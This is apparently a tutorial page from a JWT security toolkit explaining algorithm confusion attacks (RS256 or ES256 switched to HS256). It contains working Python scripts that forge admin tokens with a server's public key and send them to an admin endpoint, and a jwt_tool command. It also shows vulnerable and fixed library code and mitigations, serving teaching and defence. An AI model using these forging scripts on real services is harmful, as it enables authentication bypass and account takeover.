Algorithm Confusion

Switch alg from RS256 to HS256 - the library treats the RSA public key as the HMAC secret, which the attacker already knows.

The asymmetric/symmetric mismatch

Algorithm confusion (also called "key confusion") exploits the fact that some JWT libraries accept any algorithm value from the token header and use it to select the verification function - even when the application is configured exclusively for asymmetric (RS256/ES256) signing.

The attack scenario: a server uses RS256 with an RSA private key to sign tokens. Its RSA public key is published (at /.well-known/jwks.json or similar). An attacker changes the token's alg from RS256 to HS256and signs the forged payload using HMAC-SHA256 with the RSA public key as the HMAC secret. The server, not enforcing its expected algorithm, then verifies the HMAC using the same public key - and it matches.

The public key is supposed to be public
The entire point of asymmetric cryptography is that the public key can be freely distributed. Algorithm confusion turns this design property into a vulnerability - the attacker knows the "secret" used for verification by definition.

Why it works: the math

RS256 verification computes: RSASSA-PKCS1-v1_5-VERIFY(public_key, message, signature). HS256 verification computes: HMAC-SHA256(secret, message) == signature. When a library switches from RS256 to HS256 based on the token's alg claim, it passes the same key material - the RSA public key - to the HMAC function. The public key is typically 294-526 bytes of PEM-encoded data. The attacker uses the same bytes as the HMAC secret to produce a signature that verifies correctly.

Full attack - RS256 → HS256
import hmac, hashlib, base64, json, requests

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

# Step 1: Fetch the server's public key
# Common locations: /.well-known/jwks.json, /oauth/jwks, /api/.well-known/openid-configuration
response = requests.get("https://target.example.com/.well-known/jwks.json")
# Extract the PEM-encoded public key from the JWK (use jwt_arsenal or python-jwcrypto)
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Step 2: Forge the payload
header  = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({
    "sub": "admin",
    "role": "superuser",
    "exp": 9999999999
}))

# Step 3: Sign with the public key as HMAC secret
signing_input = f"{header}.{payload}".encode()
sig = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()

forged_token = f"{header}.{payload}.{b64url(sig)}"
print("Forged token:", forged_token)

# Step 4: Send the forged token
r = requests.get("https://target.example.com/api/admin",
    headers={"Authorization": f"Bearer {forged_token}"})
print(r.status_code, r.text)  # 200 → exploited

Key format details matter

The exact bytes used as the HMAC secret must match what the server passes to its HMAC function. Libraries typically pass the public key in one of three formats - and using the wrong one produces an invalid signature:

Key format variants to try
# Variant 1: PEM-encoded (most common)
secret = b"""-----BEGIN PUBLIC KEY-----
MIIBIjAN...
-----END PUBLIC KEY-----
"""

# Variant 2: PEM without trailing newline
secret = b"""-----BEGIN PUBLIC KEY-----
MIIBIjAN...
-----END PUBLIC KEY-----"""

# Variant 3: DER-encoded (raw bytes, no PEM wrapping)
import base64
der_b64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA..."
secret = base64.b64decode(der_b64)

# Try all three - the correct one produces a valid signature.
# jwt_tool automates this: python3 jwt_tool.py <JWT> -X k -pk public.pem

ECDSA variant: ES256 → HS256

The same attack applies to ES256 (ECDSA P-256). The EC public key is shorter (~91 bytes in PEM form), but the attack mechanics are identical - change alg from ES256 to HS256and sign with the EC public key as the HMAC secret.

ES256 → HS256 attack
# EC public key PEM (shorter than RSA)
ec_public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
-----END PUBLIC KEY-----"""

header  = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))

sig = hmac.new(ec_public_key_pem, f"{header}.{payload}".encode(),
               hashlib.sha256).digest()
forged = f"{header}.{payload}.{b64url(sig)}"

PS256 / RS384 / RS512 variants

Libraries that do not enforce specific algorithm families may also be confused from RS256 to RS384/RS512 (different hash functions over the same RSA operation) or from RSA to PS256 (RSA-PSS). These variants are less common because the key type remains RSA and the confusions are subtler - but they have appeared in real library implementations.

Vulnerable library behaviour

Python - PyJWT (vulnerable)
import jwt

# No algorithms kwarg → PyJWT accepts any alg from token header
payload = jwt.decode(token, public_key, options={"verify_signature": True})
# When token has alg=HS256, PyJWT uses public_key as the HMAC secret
# → attacker who signed with that key passes verification
Python - PyJWT (secure)
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],   # strict allowlist - rejects HS256
    audience="api.example.com"
)
Node.js - jsonwebtoken (vulnerable)
// No algorithms option in jwt.verify() → accepts algorithm from token header
const decoded = jwt.verify(token, publicKey);
// If token has alg=HS256, publicKey is used as HMAC secret → bypass
Node.js - jsonwebtoken (secure)
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],   // rejects HS256
  audience:   'api.example.com',
  issuer:     'auth.example.com',
});
Real-world cases
  • Auth0 and Okta confirmed real production deployments were vulnerable before the 2015 coordinated disclosure
  • PortSwigger Research (2022) demonstrated practical exploitation against modern libraries still lacking strict algorithm enforcement
  • Multiple bug bounty reports on HackerOne targeting SSO integrations and API gateway products
  • Particularly impactful in OAuth 2.0 / OIDC deployments where the public key is published by design

Mitigations

  • Always pass an explicit algorithms allowlist - a single algorithm, not a family
  • Use separate key objects for symmetric and asymmetric algorithms - never pass an RSA key to an HS256 verifier
  • Store the expected algorithm server-side alongside the key, not in the token
  • If using JWKS, validate that each key's alg field matches the expected algorithm before using it
  • Prefer modern libraries (jose, python-jose) that enforce algorithm binding by key type
Algorithm NoneKID Injection
GitHub
JWT Arsenal_
Loading cryptographic engineOK
Importing exploit modulesOK
Verifying secure contextOK
All systems operational
100% CLIENT-SIDE · NO DATA LEAVES YOUR BROWSER